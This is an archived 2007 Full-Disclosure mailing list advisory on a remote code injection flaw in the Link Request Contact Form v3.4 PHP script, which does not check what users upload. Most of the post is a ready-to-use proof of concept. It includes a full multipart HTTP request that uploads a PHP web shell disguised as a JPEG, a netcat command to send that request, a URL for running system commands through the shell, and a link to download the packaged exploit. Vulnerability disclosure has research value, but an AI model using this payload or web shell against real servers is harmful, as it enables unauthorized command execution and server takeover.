full-disclosure - Link Request Contact Form v3.4 Remote Code Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <FBCMMO035FodWqU57yn00033f3e@FBCMMO03.fbc.local>
Date: Sun, 10 Jun 2007 11:58:29 +0200
From: <corrado.liotta@...ce.it>
To: <full-disclosure@...ts.grok.org.uk>
Cc: milw0rm <submit@...w0rm.com>
Subject: Link Request Contact Form v3.4 Remote Code
	Injection

-=[--------------------ADVISORY-------------------]=-
                                              
          Link Request Contact Form v3.4     
                                               
  Author: CorryL    [corryl80@...il.com]   
-=[-----------------------------------------------]=-


-=[+] Application:    Link Request Contact Form 
-=[+] Version:        3.4
-=[+] Vendor's URL:   http://www.americanfinancing.net/link-request-contact-form.cfm
-=[+] Platform:       Windows\Linux\Unix
-=[+] Bug type:       Remote code injection
-=[+] Exploitation:   Remote
-=[-]
-=[+] Author:           CorryL  ~ corryl80[at]gmail[dot]com ~
-=[+] Reference:       http://corryl.altervista.org/
-=[+] Irc Chan:         irc.darksin.net #x0n3-h4ck        


..::[ Descriprion ]::..


Link Request Contact Form v3.4 is designed to let your friends or clients request to add their website link(s) 
banner(s) to your website.
User can upload their banner(s) to a directory being a JPG or GIF file for your review before you post their listing(s). 
Once the user fills in all the details an email will be sent to you with the file location and the users details. 
The script will also email your client with a Confirmation email providing them with the same details.
You can modify the script to your liking and change the location of where the files will be store easily. 
There are no restrictions and easy installation instructions are provided. 


..::[ Bug ]::..

This software is affection from a bug type remote code injection, 
a remote attacker is able' to injecting of the code inside the server victim, 
to subsequently be performed.
This happens because' the script allows to insert an image jpg or bmp, 
but not checking the data, and allowing of injecting of the code php.



..::[ Proof Of Concept ]::..

cut the exploit.txt edit the server-victim information,
using netcat to sending the exploit to server.

nc server-victim 80 < exploit.txt

open the browser and connection to http://server-victim/uploads/shell.php?cmd=uname -a

<---------cut here exploit.txt--------->
POST http://server-victim:80/output.php HTTP/1.1
Host: www.server-victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/prova/link-request-contact-form.html
Cookie: PHPSESSID=0654c063218badc1ad8b5a04edf9198d
Content-Type: multipart/form-data; boundary=---------------------------190291279311134
Content-length: 1115

-----------------------------190291279311134
Content-Disposition: form-data; name="Full_Name"

aaa
-----------------------------190291279311134
Content-Disposition: form-data; name="email"

aa@...aa
-----------------------------190291279311134
Content-Disposition: form-data; name="Link_Back"

http://127.0.0.1/
-----------------------------190291279311134
Content-Disposition: form-data; name="Site_Title"

aa
-----------------------------190291279311134
Content-Disposition: form-data; name="You_Web_Address"

http://127.0.0.1/
-----------------------------190291279311134
Content-Disposition: form-data; name="Site_Description"

aaa
-----------------------------190291279311134
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: image/jpeg

<?php ob_clean();echo"Remote command esecution by CorryL http://corryl.altervista.org";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>
-----------------------------190291279311134
Content-Disposition: form-data; name="Submit"

Submit
-----------------------------190291279311134--



<----------------end cut---------------->


download the netcat+exploit from my server:

http://corryl.altervista.org/index.php?mod=Download/Exploit#exploit-LRCF-v3.4.rar




Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/